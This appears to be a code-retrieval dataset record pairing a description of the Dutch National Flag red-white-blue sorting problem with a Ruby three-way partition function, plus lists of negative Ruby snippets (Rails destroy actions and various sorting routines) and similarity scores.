"def destroy\n @compliance = Compliance.find(params[:id])\n\n # Any asins that are linked with the compliance set being deleted need to be freed\n Asin.by_compliance(@compliance).each do |asin|\n asin.compliance_rejected\n end\n vendor_id = @compliance.vendor_id\n sku = @compliance.sku\n @compliance.destroy\n\n respond_to do |format|\n format.html {\n redirect_to vendor_asin_compliance_home_path(:vendor_id => vendor_id, :sku => sku) if vendor_session?\n redirect_to user_home_path if !vendor_session?\n }\n format.xml { head :ok }\n end\n end",
"def delete!\n Recliner.delete(uri)\n end",
"def destroy\n @discharge = Discharge.find(params[:id])\n @discharge.destroy\n\n respond_to do |format|\n format.html { redirect_to(discharges_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n Clenum.destroy params[:ids].split(',')\n\n respond_to do |format|\n format.html { redirect_to(clenums_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @guac.destroy\n respond_to do |format|\n format.html { redirect_to guacs_url, notice: 'Guac was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @hr_attendence = Hr::Attendence.find(params[:id])\n @hr_attendence.destroy\n\n respond_to do |format|\n format.html { redirect_to(hr_attendences_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @unlock = Unlock.find(params[:id])\n @unlock.destroy\n\n respond_to do |format|\n format.html { redirect_to(unlocks_url) }\n format.xml { head :ok }\n end\n end"
] |
[
"0.636203",
"0.6321088",
"0.6265856",
"0.62530905",
"0.6244561",
"0.6178069",
"0.6176648",
"0.6153654",
"0.61462575",
"0.6127529",
"0.6124317",
"0.60945207",
"0.60943735",
"0.6070501",
"0.6039952",
"0.6032935",
"0.6011977",
"0.6008153",
"0.6003945",
"0.59994155",
"0.59917456",
"0.5979175",
"0.597038",
"0.59672844",
"0.5961732",
"0.59605026",
"0.5955363",
"0.59518343",
"0.5940668",
"0.5938975",
"0.59243184",
"0.59174687",
"0.5916765",
"0.5916042",
"0.5916042",
"0.5916042",
"0.5916042",
"0.5916042",
"0.5916042",
"0.5916042",
"0.59153044",
"0.59147584",
"0.590488",
"0.5904417",
"0.59007645",
"0.589813",
"0.5898053",
"0.58939505",
"0.58876735",
"0.5872789",
"0.5864252",
"0.58548874",
"0.58545226",
"0.5848074",
"0.5846865",
"0.5842774",
"0.58417803",
"0.5841194",
"0.58354485",
"0.583188",
"0.58279884",
"0.5824283",
"0.5823475",
"0.5821401",
"0.58146423",
"0.5813725",
"0.5811044",
"0.58109915",
"0.58103365",
"0.58090043",
"0.58010894",
"0.5798812",
"0.5798704",
"0.57961047",
"0.57946223",
"0.57917285",
"0.57917285",
"0.5789357",
"0.578926",
"0.57885796",
"0.5779578",
"0.5779578",
"0.57789433",
"0.5778904",
"0.57788724",
"0.57771426",
"0.5777097",
"0.5777097",
"0.57717603",
"0.577076",
"0.577076",
"0.57686394",
"0.5768461",
"0.5766795",
"0.5765272",
"0.57619184",
"0.5759915",
"0.5758507",
"0.5757012",
"0.5755644"
] |
0.66825676
|
0
|
Problem Suppose an array A consists of n elements, each of which is red, white or blue. We seek to sort the elements so that all the reds come before all the whites, which come before all the blues. The only operation permitted on the keys are: Examine(A, i) report the color of the ith element of A Swap(A, i , j) swap the ith element of A with the jth element. Find a correct and efficient algorithm for redwhiteblue sorting. There is a linear time solution. End This algorithm can be solved using the Dutch National Flag Algorithm where the array would needed to be divided into subsections (reds,mids, unknowns and blues). In one pass of the array we keep track of 3 positions, where the last red is, where the last white is and where the last blue is. When traversing over the array we use the mid(white) index as our position. When the value at mid is red we swap the value at the current red index with the mid index and increase both indices. When the value is the mid(white) we simply increase the mid and move on When the value is equal to the high(red) we swap the value with the value at the red index and decrement the red index. Given 0 = red, 1 = white, 2 = blue t
|
def three_way_partition(array)
lo = 0
mid = 0
hi = array.size - 1
while mid <= hi
val = array[mid]
case val
when 0
array[lo], array[mid] = array[mid],array[lo]
lo += 1
mid += 1
when 1
mid += 1
when 2
array[mid], array[hi] = array[hi], array[mid]
hi -= 1
end
end
array
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def sort_by_color(array)\n colors = [:red, :blue, :yellow]\n i = 0\n j = 1\n 0.upto(array.size - 1) do\n break if j > array.size - 1\n if array[i][1] != :red && array[j][1] == :red \n array[i], array[j] = array[j], array[i]\n i += 1\n end\n j += 1\n end\n \n # i is now at the position right after the last red\n j = array.size - 1\n p array\n while i < j\n if array[i][1] == :yellow && array[j][1] == :blue\n array[i], array[j] = array[j], array[i]\n i += 1\n elsif array[i][1] == :blue && array[j][1] == :blue && array[i][0] > array[j][0]\n array[i], array[j] = array[j], array[i]\n i += 1\n else\n j -= 1\n end\n end\n array\nend",
"def sort_colors(nums)\n low=mid=0\n high = nums.size-1\n\n while(mid<=high)\n case nums[mid]\n when 0\n nums[low], nums[mid]=nums[mid],nums[low]\n low +=1\n mid +=1\n when 2\n nums[mid], nums[high]=nums[high],nums[mid]\n high -=1\n when 1\n mid+=1\n end\n end\nend",
"def sort_colors(nums)\n count_0 = nums.count(0)\n count_1 = nums.count(1)\n count_2 = nums.count(2)\n \n count_0.times do |i|\n \n nums[i] = 0\n end\n \n count_1.times do |i|\n \n nums[count_0+i]=1\n end\n count_2.times do |i|\n \n nums[count_0+count_1+i] = 2\n end\n nums\nend",
"def sort_array_by_parity(a)\n low = 0\n high = a.length - 1\n while low < high\n if a[low] % 2 == 0\n low += 1\n else\n a[low], a[high] = a[high], a[low]\n high -= 1\n end\n end\n a\nend",
"def merge( red , blue )\n return if red==blue || blue==last # base case: red or blue are empty\n if @compare[values[red],values[blue]] <= 0 # first red is less than first blue\n @always_reds << @initial_reds.shift\n else # first blue is less than first red\n tmp = values[blue]\n blue.downto(red) { |i| values[i] = values[i-1] }\n values[red] = tmp\n blue+=1\n @initial_reds << @initial_blues.shift\n @always_blues << @initial_reds.shift\n draw # lines are moving, so draw the current state as an image\n end\n red+=1 # red sits in front of blue, so whether we pull from red or blue, red shifts over 1\n merge( red , blue )\n end",
"def RGB_placer(arr)\n front = 0\n pos = 0\n back = arr.length - 1\n while pos < back + 1\n if arr[pos] == 'R'\n temp = arr[front]\n arr[front] = arr[pos]\n arr[pos] = temp\n front+= 1\n elsif arr[pos] == 'B'\n temp = arr[back]\n arr[back] = arr[pos]\n arr[pos] = temp\n back -= 1\n end\n if arr[pos] == 'G'\n pos += 1\n end\n end\n arr\nend",
"def smooth_sort(array)\n orders = [0]\n trees = 0\n\n (0...array.length).each do |i|\n if trees > 1 && orders[trees - 2] == orders[trees - 1] + 1\n trees -= 1\n orders[trees - 1] += 1\n elsif trees > 0 && orders[trees - 1] == 1\n orders[trees += 1] = 0\n else\n orders[trees += 1] = 1\n end\n find_and_sift(array, i, trees - 1, orders)\n end\n (array.length - 1).downto(1) do |i|\n if orders[trees - 1] <= 1\n trees -= 1\n else\n right_index = i - 1\n left_index = right_index - LEONARDO_NUMS[orders[trees - 1] - 2]\n trees += 1\n orders[trees - 2] -= 1\n orders[trees - 1] = orders[trees - 2] - 1\n find_and_sift(array, left_index, trees - 2, orders)\n find_and_sift(array, right_index, trees - 1, orders)\n end\n end\n array\nend",
"def sort_array_by_parity(nums)\n nums.each_with_index do |num, i|\n if i.even? && num.odd?\n (i..nums.length - 1).each do |j|\n nums[i], nums[j] = nums[j], nums[i] if nums[j].even?\n end\n elsif i.odd? && num.even?\n (i..nums.length - 1).each do |j|\n nums[i], nums[j] = nums[j], nums[i] if nums[j].odd?\n end\n end\n end\n\n nums\nend",
"def sort_array_by_parity(a)\n i = 0\n j = a.length - 1\n while i < j\n if a[i] % 2 > a[j] % 2\n temp = a[i]\n a[i] = a[j]\n a[j] = temp\n end\n if a[i] % 2 == 0\n i += 1\n end\n if a[j] % 2 == 1\n j -= 1\n end\n end\n return a\nend",
"def bubble_sort_major(array)\n n = array.length\n swapped = true\n while swapped do\n swapped = false\n (n - 1).times do |i|\n # here, the string at each index are compared to the next, and they are swapped if the current is greater than the next\n if (array[i][:major1] <=> array[i + 1][:major1]) > 0\n array[i], array[i + 1] = array[i + 1], array[i]\n swapped = true\n end\n end\n end\n array \n end",
"def sort_array_by_parrity(nums)\n even_misplaced = 0\n odd_misplaced = 1\n arr_len = nums.length\n\n while even_misplaced < nums.length && odd_misplaced < nums.length\n if nums[even_misplaced].even?\n even_misplaced += 2\n elsif nums[odd_misplaced].odd?\n odd_misplaced += 2\n else\n nums[even_misplaced] , nums[odd_misplaced] = nums[odd_misplaced], nums[even_misplaced]\n even_misplaced += 2\n odd_misplaced += 2\n end\n end\n\n nums\nend",
"def bubble_sort_by(array)\n swap_status = nil\n iterations = 0\n\n until swap_status == false\n swap_status = false\n working_array = array[0..((array.count - 1) - iterations)]\n working_array.each_with_index do |item, index|\n if item != working_array.last\n if yield(array[index], array[index + 1]) < 0\n array[index], array[index + 1] = array[index + 1], array[index]\n swap_status = true\n end\n end\n end\n iterations += 1\n end\n array\nend",
"def sort_array_by_parity(a)\n even = []\n odd = []\n a.each do |e|\n even << e if e.even?\n odd << e if e.odd?\n end\n even.concat(odd)\nend",
"def sort_array(array)\n n = array.size\n return array if n < 2\n (0..n - 2).each do |i|\n (i + 1..n - 1).each do |j|\n next if array[i].even? || array[j].even?\n interchange(array, i, j) if array[i] > array[j]\n end\n end\n array\nend",
"def bubble_sort_by_concept_one(array)\n n = array.length\n\n while n.positive?\n\n j = 0\n\n (1..n - 1).each do |k|\n compare_result = yield array[j], array[k]\n\n # if array[j] > array[k], swap these two values\n if compare_result.positive?\n store = array[j]\n array[j] = array[k]\n array[k] = store\n end\n j += 1\n end\n n -= 1; # last element is now sorted\n end\n\n array\nend",
"def wiggle_sort(nums)\n nums = nums.sort!\n\n greater_num_idx = nums.length / 2\n lesser_num_idx = 1\n\n until lesser_num_idx >= greater_num_idx\n nums[lesser_num_idx], nums[greater_num_idx] = nums[greater_num_idx], nums[lesser_num_idx]\n lesser_num_idx += 2\n greater_num_idx += 1\n end\n nums\nend",
"def bubble_sort_pass(input_array)\n n = input_array.size\n tab_index = 0\n nb_swaps = 0\n \n # Loop through the array \n (n-1).times do\n index1 = tab_index\n index2 = tab_index + 1 \n if (input_array[index1] > input_array[index2]) then\n # counting the swaps each time they occur\n nb_swaps += 1\n # Exchange elements if input_array[index1] > input_array[index2]\n temp = input_array[index1]\n input_array[index1] = input_array[index2]\n input_array[index2] = temp\n end\n tab_index += 1\n end\n \n # returns a hash with the modified array \n # and the number of pass\n res = {\"result_array\" => input_array,\n \"nb_swaps\" => nb_swaps}\n \n return(res)\nend",
"def alpha_bubble_sort(arr)\n swapped = true\n while swapped do\n index = 0\n swapped = false\n while index < arr.length - 1\n if arr[index] > arr[index + 1]\n arr[index], arr[index + 1] = arr[index + 1], arr[index]\n swapped = true\n end\n index += 1\n end\n end\n return arr\nend",
"def sort3(num_array)\n for i in 0..num_array.length - 1\n key = num_array[i]\n j = i - 1\n\n # move elements of num_array[0..i-1] that are greater than key,\n # to one position ahead of their current position\n while j >= 0 && num_array[j] > key\n num_array[j + 1] = num_array[j]\n j -= 1\n end\n num_array[j + 1] = key\n end\n return num_array\nend",
"def flash_sort(arr) \n max = 0;\n min = arr[0];\n n = arr.length;\n m = (0.45 * n).floor;\n l = Array.new(m);\n i = 1;\n while (i < n)\n if (arr[i] < min) \n min = arr[i];\n end\n if (arr[i] > arr[max]) \n max = i;\n end\n i += 1;\n end\n \n if (min == arr[max]) \n return arr;\n end\n \n c1 = (m - 1) / (arr[max] - min);\n \n k = 0;\n while (k < m)\n l[k] = 0;\n k+=1;\n end\n j = 0;\n while (j < n) \n k = (c1 * (arr[j] - min)).floor;\n l[k]+=1;\n j+=1;\n end\n \n d = 1;\n while (d < m) \n l[d] += l[d - 1];\n d+=1;\n end\n \n hold = arr[max];\n arr[max] = arr[0];\n arr[0] = hold;\n \n #permutation\n move = 0;\n j = 0; \n k = m - 1;\n \n while (move < (n - 1)) \n while (j > (l[k] - 1))\n j+=1;\n k = (c1 * (arr[j] - min)).floor;\n end\n if (k < 0) then end;\n flash = arr[j];\n while (j != l[k]) \n k = (c1 * (flash - min)).floor;\n hold = arr[t = l[k]-=1];\n arr[t] = flash;\n flash = hold;\n move+=1;\n end\n end\n \n #insertion\n j = 1;\n while (j < n)\n hold = arr[j];\n i = j - 1;\n while (i >= 0 && arr[i] > hold)\n arr[i + 1] = arr[i-=1];\n end\n arr[i + 1] = hold;\n j+=1;\n end\n return arr;\nend",
"def b_sort(array)\n v = array.length\n loop do\n swap = false\n (v-1).times do |i|\n if array[i] > array[i + 1]\n array[i], array[i + 1] = array[i + 1], array[i]\n swap = true\n end\n end\n break if not swap\n end\n p array\nend",
"def bubble_sort_by(arr)\n\tloop do\n\t\tswitched = false\n\t\t(arr.count-1).times do |i|\n\t\t\tif yield(arr[i],arr[i+1])<0\n\t\t\t\tarr[i],arr[i+1]=arr[i+1], arr[i]\n\t\t\tend\n\t\tend\n\t\tbreak if not switched\n\tend\n\tarr\nend",
"def bubble_sort(array)\n # iterate through the array\n array.each do\n first = 0\n second = 1\n array.map do |value|\n \n # compare two adjacent values\n if array[second] && value > array[second]\n # move the greater value to the right and the lesser left\n save = array[first]\n array[first] = array[second]\n array[second] = save\n end\n first += 1\n second += 1\n end\n end\nprint array\nend",
"def array_sort(arr)\nx = arr.length\nif x == 1\nelsif x == 2\n if arr[0] > arr[1]\n arr[0], arr[1] = arr[1], arr[0]\n end\nelse\n loop do\n modified = FALSE\n (x-2).times do |x|\n if (arr[x] < arr[x + 1]) && (arr[x] < arr[x + 2])\n if arr[x + 2] < arr[x + 1]\n arr[x], arr[x + 1], arr[x + 2] = arr[x], arr [x + 2], arr[x + 1]\n modified = TRUE\n end\n elsif (arr[x + 1] < arr[x]) && (arr[x + 1] < arr[x + 2])\n if arr[x] < arr[x + 2]\n arr[x], arr[x + 1], arr[x + 2] = arr[x + 1], arr[x], arr[x + 2]\n modified = TRUE\n elsif arr[x + 2] < arr[x]\n arr[x], arr[x + 1], arr[x + 2] = arr[x + 1], arr [x + 2], arr[x]\n modified = TRUE\n elsif arr[x + 2] == arr[x]\n arr[x], arr[x + 1], arr[x + 2] = arr[x + 1], arr[x], arr[x + 2]\n modified = TRUE\n end\n elsif (arr[x + 2] < arr[x]) && (arr[x + 2] < arr[x + 1])\n if arr[x] < arr[x + 1]\n arr[x], arr[x + 1], arr[x + 2] = arr[x + 2], arr[x], arr[x + 1]\n modified = TRUE\n elsif arr[x + 1] < arr[x]\n arr[x], arr[x + 1], arr[x + 2] = arr[x + 2], arr[x + 1], arr[x]\n modified = TRUE\n elsif arr[x] == arr[x + 1]\n arr[x], arr[x + 1], arr[x + 2] = arr[x + 2], arr[x], arr[x + 1]\n modified = TRUE\n end\n end\n end\n break if modified == FALSE\n end\nend\n arr\nend",
"def solution(a)\n len = a.size\n swaps = 0\n i = 0\n while i < len\n smallest = a[i]\n largest = a[i]\n j = i + 1\n while j < len && largest > a[j]\n smallest = a[j] if a[j] < smallest\n j += 1\n end\n i -= 1 while i > 0 && a[i-1] > smallest\n swaps = j - i if j > i + 1\n i = j\n end\n return swaps\nend",
"def gnome_sort(array)\n count = 0\n\n while count < array.length - 1\n if array[count] > array[count + 1]\n array[count + 1], array[count] = array[count], array[count + 1]\n count -= 2 if count.positive?\n end\n count += 1\n end\n\n array\nend",
"def minimumSwaps(arr)\n swaps = 0\n alen = arr.length\n index_lookup = {}\n 0.upto(alen-1) do |i|\n index_lookup[arr[i]] = i\n end\n 0.upto(alen-1) do |i|\n if arr[i] == i+1\n # puts \"nothing to do\"\n next\n end\n k = index_lookup[i+1]\n index_lookup[arr[i]] = k\n p [i, k]\n arr[i],arr[k] = arr[k],arr[i]\n swaps +=1\n end\n return swaps\nend",
"def rearrange(array, less, array_length, highest_value)\n sorted = []\n for i in (0..(array_length - 1))\n key = array[i]\n index = less[key]\n sorted[index] = array[i]\n less[key] += 1\n end\n return sorted\nend",
"def pre_sort(arr) \n i =0\n while i < arr.length \n j = i + 1\n while j < arr.length\n if arr[i] > arr[j]\n arr[i] , arr[j] = arr[j], arr[i] \n end\n j += 1 \n end\n i += 1\n end\n arr\nend",
"def gnomesort(a)\n a.start_logging\n\n i = 0\n while i < a.length\n if i == 0 || a[i] > a[i - 1]\n i += 1\n else\n a[i], a[i - 1] = a[i - 1], a[i]\n a.log\n i -= 1\n end\n end\n\n a\nend",
"def recombine (halved)\n left = halved.first\n right = halved.last\n sorted = []\n\n\n\nend",
"def skittle_combos(skittles)\n array = []\n skittles.each do |color1|\n skittles.each do |color2|\n if color1 == color2 \n next \n end \n result = [color1,color2].sort()\n array.append(result)\n end\n end\n return array \nend",
"def bubble_sort(array)\n\t#outer loop keeps track if something was swapped or not\n\tloop do \n\t\tswapped = false\n\t\t#inner loop swaps numbers that aren't in order\n\t\t(array.length-1).times do |i|\n\t\t\t#take each pair of numbers and compare them. Swap if a > b. If so, swapped = true.\n \t\t\tif array[i] > array[i+1]\n \t\t\tarray[i], array[i+1] = array[i+1], array[i]\n\t\t\t\tswapped = true\n\t\t\tend\n\t\tend\n\t\tbreak if not swapped\n\tend\n\tarray\nend",
"def bubble_sort(array)\r\n #Create a do loop to iterate through the loop\r\n loop do\r\n \t#Make a variable called switch that will switch the numbers as you sort\r\n \t#Set it to false, it will become true if the numbers are not in the right place\r\n switch = false\r\n #MAke a loop inside the other loop\r\n #The length of the array - 1 (To catch last two values as you go through), iterate this many times \r\n (array.length-1).times do |i|\r\n #If the array at the first index is greater value than the one on front of it\r\n if array[i] > array[i+1]\r\n \t#Then it equals one placeholder/index in front/next index spot\r\n \t#It's a larger number and needs to swap\r\n array[i], array[i+1] = array[i+1], array[i]\r\n #Set switch to true\r\n switch = true\r\n #End if statement\r\n end\r\n end\r\n #Break this iteration and go back in line, iterating through if not - switch is false\r\n break if not switch\r\n end\r\n #Return the sorted array\r\n array\r\n #End method\r\nend",
"def minimumSwaps(arr)\n arr = arr.map { |n| n - 1 }\n\n i = 0\n counter = 0\n\n while arr[i] != i do\n i += 1 if arr[i] == i\n if arr[i] && arr[i] != i\n arr[arr[i]], arr[i] = arr[i], arr[arr[i]]\n counter += 1\n end\n end\n\n counter\nend",
"def optimized_bubble_sort(arr)\n prc ||= Proc.new { |x,y| x <=> y }\n lastSwap = arr.length-1;\n i = 0\n while i < arr.length\n is_sorted = true;\n currentSwap = -1;\n j = 0\n while j < lastSwap\n if prc.call(arr[j],arr[j+1]) > 0 \n arr[j], arr[j+1] = arr[j+1], arr[j]\n is_sorted = false;\n currentSwap = j;\n end\n j+=1\n end\n return arr if is_sorted\n lastSwap = currentSwap;\n i+=1\n end\n arr\nend",
"def merge(a, b)\n for i in 0..(a.length() - 1) # left array is colored red\n a[i].color = [1, 0, 0] #\n end #\n for i in 0..(b.length() - 1) # right array is colored blue\n b[i].color = [0, 0, 1] #\n end #\n c = Array.new(a.length() + b.length())\n ia = 0\n ib = 0\n ic = 0\n while ia < a.length() && ib < b.length()\n a[ia].raise_hand() ; b[ib].raise_hand() # raise hands of compared persons\n if a[ia] < b[ib]\n c[ic] = a[ia]\n move_smaller(c[ic], ic - ia) # move smaller person\n ia = ia + 1\n ic = ic + 1\n else\n c[ic] = b[ib]\n move_smaller(c[ic], ic - (a.length() + ib)) # ditto\n ib = ib + 1\n ic = ic + 1\n end\n end\n if ia < a.length()\n for i in ia..(a.length() - 1)\n c[ic] = a[i]\n move_smaller(c[ic], ic - i) # move remaining person\n ic = ic + 1\n end\n else\n if ib < b.length()\n for i in ib..(b.length() - 1)\n c[ic] = b[i]\n move_smaller(c[ic], ic - (a.length() + i)) # ditto\n ic = ic + 1\n end\n end\n end\n c\nend",
"def sort(a)\n\t\n\tfor i in 1...a.length\n\n\ttemp=a[i]\n\tj=i-1\n\tx=bsearch(a,temp,0,j)\n\n\twhile j>=x do\n\ta[j+1]=a[j]\n\tj-=1\n\tend #This is for the while loop\n\ta[j+1]=temp\n\tend\n\n\tend",
"def bubble_sort_by ary\n (ary.length-2).downto(0) do |k|\n swapped = false\n for i in 0..k\n if (yield ary[i], ary[i+1]) > 0\n ary[i], ary[i+1] = ary[i+1], ary[i]\n swapped = true\n end\n end\n break if !swapped\n end\n ary\nend",
"def bubble_sort_by_concept_two(array)\n no_swaps = false # initiate flag to indicate when there are no more swaps being done\n\n until no_swaps\n no_swaps = true\n (0..array.length - 2).each do |i|\n # check if these two elements are out of order\n compare_result = yield array[i], array[i + 1]\n\n next unless compare_result.positive?\n\n # do a swap\n store = array[i]\n array[i] = array[i + 1]\n array[i + 1] = store\n no_swaps = false\n end\n end\n\n array\nend",
"def sort_array_by_parity(array)\n res_array = Array.new(array.length, 0)\n \n current_even_idx = 0\n current_odd_idx = 1\n until array.empty?\n num = array.pop\n if num.even?\n res_array[current_even_idx] = num\n current_even_idx += 2\n else\n res_array[current_odd_idx] = num\n current_odd_idx += 2\n end\n end\n\n res_array\nend",
"def sort_array_by_parity(a)\n result = []\n a.each do |ele|\n if ele.even?\n result.unshift(ele)\n else\n result << ele\n end\n end\n result\nend",
"def sluggish_octopus(array)\n\n sorted = false\n until sorted\n sorted = true\n\n array.each_index do |i|\n next if i == array.length - 1\n j = i + 1\n\n if array[i].length > array[j].length\n sorted = false\n array[i], array[j] = array[j], array[i]\n end\n end\n end\n array.last\n\nend",
"def sluggish_octopus!(array)\n sorted = false\n until sorted\n sorted = true\n array.each_index do |index|\n index_2 = index + 1\n next if index_2 == array.length\n if array[index].length > array[index_2].length\n array[index],array[index_2] = array[index_2],array[index]\n sorted = false\n end\n end\n end\n array[-1]\nend",
"def rearrange(arr)\n arr_len = arr.length\n\n (1..arr_len-1).each do |index|\n # if index is even\n if (index % 2).zero?\n if arr[index] > arr[index - 1]\n arr[index - 1], arr[index] = arr[index], arr[index - 1]\n end\n else # if index is odd\n if (arr[index] < arr[index - 1])\n arr[index - 1], arr[index] = arr[index] , arr[index - 1]\n end\n end\n end\n\n arr\nend",
"def bub_sort(array)\n l = 1\n pairs = 0\n while l != array.length\n pairs += (array.length-l)\n l += 1\n end\n count = 0\n while count < pairs\n index = 0\n n = 0\n while index < array.length - n\n if array[index] > array[index+1]\n low = array[index+1]\n high = array[index]\n array[index] = low\n array[index+1] = high\n index += 1\n count += 1\n else\n index += 1\n count += 1\n end\n end\n n += 1\n puts array\n\n end\nend",
"def selection_sort(array)\n for i in (0..array.length-1)\n min_index = i\n for j in ((i+1)..array.length-1)\n min_index = j if array[j] < array[min_index]\n end\n array[i], array[min_index] = array[min_index], array[i] if min_index != i\n end\n array\nend",
"def bubble_sort_section(array)\n n = array.length\n swapped = true\n while swapped do\n swapped = false\n (n - 1).times do |i|\n # here, each index is compared to the next index, and swaps them if the current is greater than the next\n if array[i][:section] > array[i + 1][:section]\n array[i], array[i + 1] = array[i + 1], array[i]\n swapped = true\n end\n end\n end\n array \n end",
"def bubble_sort_by(array)\n switch = true\n while switch\n switch = false\n (0...array.length - 1).each do |i|\n if yield(array[i], array[i + 1]).positive? \n array[i], array[i + 1] = array[i + 1], array[i]\n switch = true\n end\n end\n end\n array\nend",
"def sort_array(source_array)\n odd_array = source_array.select{|number| number.odd?}.sort \n source_array.map{ |number| number.even? ? number : odd_array.shift }\n\nend",
"def pancake_sort(arr)\n # your code goes here \n r = arr.length\n while r >= 0\n max_index = max(arr, r)\n if max_index != r - 1\n flip(arr, max_index + 1)\n flip(arr, r)\n end\n r -= 1\n end\n return arr\nend",
"def compare_and_swap(array, i, j, dir)\n return unless dir == 1 && array[i] > array[j] ||\n dir == -1 && array[i] < array[j]\n\n array[i], array[j] = array[j], array[i]\nend",
"def bubble_sort_by(arr)\n n = arr.length\n (n-1).times do\n switched = false\n (n-1).times do |i|\n if yield( arr[i], arr[i+1] ) > 0\n arr[i], arr[i+1] = arr[i+1], arr[i]\n switched = true\n end\n end\n break unless switched\n n -= 1 \n end\n return arr\n\nend",
"def sorting(arr)\n#display orig array\n p arr \n p \"**************************************************\"\n # do something to the array\n # compare each value of an array to the value on its left\n # if the value is less than the value on its left, switch places\n # do this by placing the lesser value in a holder and then moving the greater\n # value to the lesser value's former position in the array, then rewrite the\n # greater value's former position, with the holder value.\n # do this until the value is greater than the value on its left for \n # the entire array \n#Here is our brute force attempt at making our own .sort! method\n#we used the .sort! method from the Array class.\narr.length.times do\n |x|\n holder = \"\"\n if arr[x] > arr[x-1]\n holder = arr[x-1]\n arr[x-1] = arr[x]\n arr[x] = holder\n end \n end\nputs \"this is the one we made #{arr} \"\n # if arr[1] > arr[0]\n p arr.sort!\n p \"above is the sorting method\"\n#rerturn the changed array\nend",
"def bubble_sort_by(array)\n\t#counter\n\titeration = 1\n\t#Loop through all values (array.length-1) times\n\twhile iteration <= array.length-1\n\t\t#Compare 2 adjacent values in array. Values are swapped based on block comparison.\n\t\tarray.each_with_index do |n, i|\n\t\t\tunless array[i+1] == nil #stops comparison of last array value.\n\t\t\t\tif yield(n, array[i+1]) > 0\n\t\t\t\t\tarray[i], array[i+1] = array[i+1], n\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\titeration += 1 # Counter increases after every iteration\n\tend\n\tputs array.inspect\nend",
"def bubble_sort (array)\n loop do\n \tswitched = false\n\n \t(array.length - 1).times do |index|\n \t\tif array[index] > array[index + 1]\n \t\t\tarray[index], array[index + 1] = array[index + 1], array[index]\n \t\t\tswitched = true\n \t\tend\n end\n break if not switched\n \n end\n p array\nend",
"def bubblesort(arr)\n result_arr = arr\n length = arr.length\n i = 0\n j = length - 1\n\n # Carries out length - 1 iterations of the sorting\n while i < length - 1\n hashes = []\n swapped = false\n\n # Carries out a single iteration\n for k in 0..j do\n if (arr[k + 1])\n to_check = {arr: arr[k..k+1]}\n result_arr[k..k + 1] = sort_pair(to_check)\n hashes.push(to_check)\n end\n\n # Checks if any swapping has been done in the current iteration. If yes, swapped is set to true.\n for hash in hashes do\n if hash[:flag] == true\n swapped = true\n break\n end\n end\n end\n\n # Breaks out of the loop unless a swap has occurred in the previous iteration\n break unless swapped == true\n\n i += 1\n j -= 1\n end\n result_arr\nend",
"def bubble_sort_2( tab=[])\n j=0\n cpt=1\n swaps_nbr=0\n while tab[j] #tant que l'on est pas à la fin du tableau à partir de l'indice 0\n i=j+1 #on commence le tri à partir d'un indice j+1 (et non plus au début(indice 1) comme précédemment)\n while tab[i] #tant que l'on a pas atteint la fin du tableau à partir du dernier indice non trié\n if tab[i] < tab[j] #tri si case index j est plus grand que le suivant\n\t temp = tab[i]\n tab[i] = tab[j]\n tab[j] = temp\n swaps_nbr+=1\n end\n i+=1\n cpt+=1\n end\n j+=1\n end\n return tab, swaps_nbr, cpt\nend",
"def insertion_sort(arr)\n\t# step 1 - set variables. Placeholder_index starts at index 1 rather than index 0 because you\n\t# are always comparing the placeholder to what is to the left of the placeholder\n\tplaceholder_index = 1\n\t# until the placeholder_index is at the index value as the length of the array...\n\t\tuntil placeholder_index > (arr.length - 1)\n\t\t\tcurrent_index = placeholder_index\n\t\t\t# the compare_index is the value to the right of the placeholder/compare_index\n\t\t\tcompare_index = current_index - 1\n\t\t\t# until the current_index is greater than or equal to the compare_index\n\t\t\tuntil arr[current_index] >= arr[compare_index]\n\t\t\t\t# swap the two numbers\n\t\t\t\tarr[current_index], arr[compare_index] = arr[compare_index], arr[current_index]\n\t\t\t\t# compare left number and right\n\t\t\t\tcurrent_index -= 1\n\t\t\t\tcompare_index -= 1 unless compare_index == 0\n\t\t\tend\n\t\t\tplaceholder_index += 1\n\t\tend\nreturn arr\nend",
"def bubble_sort_by(array)\n \n i = 0 \n while i < array.length - 1 \n left = array[i]\n right = array[i+1]\n if yield(left,right) > 0\n array[i], array[i+1] = array[i+1], array[i]\n i = -1\n end\n i += 1 \n end\n return array\nend",
"def sort_jobs(job_list)\n sorted_and_filtered = []\n [\"red\", \"yellow\", \"grey\"].each do |color|\n job_list.select {|j| j.color == color}.each { |j| sorted_and_filtered << j }\n end\n sorted_and_filtered\nend",
"def swap_elements(array)\n array.sort do |a,b|\n a[1] <=> b[2]\n end \nend",
"def bubblesort(a)\n a.start_logging\n\n begin\n swapped = false\n (0..(a.size - 2)).each do |i|\n # compare each two adjacent elements\n if a[i] > a[i + 1]\n # swap them if the one on the left is greater\n a[i], a[i + 1] = a[i + 1], a[i]\n swapped = true\n a.log\n end\n end\n end while swapped\n\n a\nend",
"def mothrah_sort (an_array)\n\tdef move_to_end (value, array)\n\t\tarray.delete(value)\n\t\tarray.push(value)\n\tend\n\tpos = 0\n\twhile pos < an_array.length \n\t\tif an_array[pos] > an_array[pos + 1]\n\t\t\tmove_to_end(an_array[pos], an_array)\n\t\telse\n\t\t\tpos += 1\n\t\tend\n\tend\n\tan_array\nend",
"def selection_sort\n for i in 0..@array.size-1\n min_index = i\n for j in i+1..@array.size-1\n min_index = j if (@array[j] < @array[min_index])\n end\n swap(@array, i, min_index)\n end\n print\n end",
"def quadruplet_recombine array\n left, right = halve(array)\n\n # ternary\n left_sorted = left.first > left.last ? [left.last, left.first] : left\n right_sorted = right.first > right.last ? [right.last, right.first] : right\n\n sorted = left_sorted[0] < right_sorted [0] ? [left_sorted,right_sorted] : [right_sorted,left_sorted]\n\n sorted.flatten\nend",
"def bubbly(arr)\n loop do\n switch = false\n (arr.length - 1).times do |i|\n \tif arr[i] > arr[i + 1]\n arr[i + 1],arr[i] = arr[i],arr[i + 1]\n switch = true\n end\n end\n if switch == false\n break\n end\n end\n arr\nend",
"def sort_array_by_parity(a)\n\tb = a.select {|num| num % 2 == 0 }\n b += a.select {|num| num % 2 == 1 }\n return b\nend",
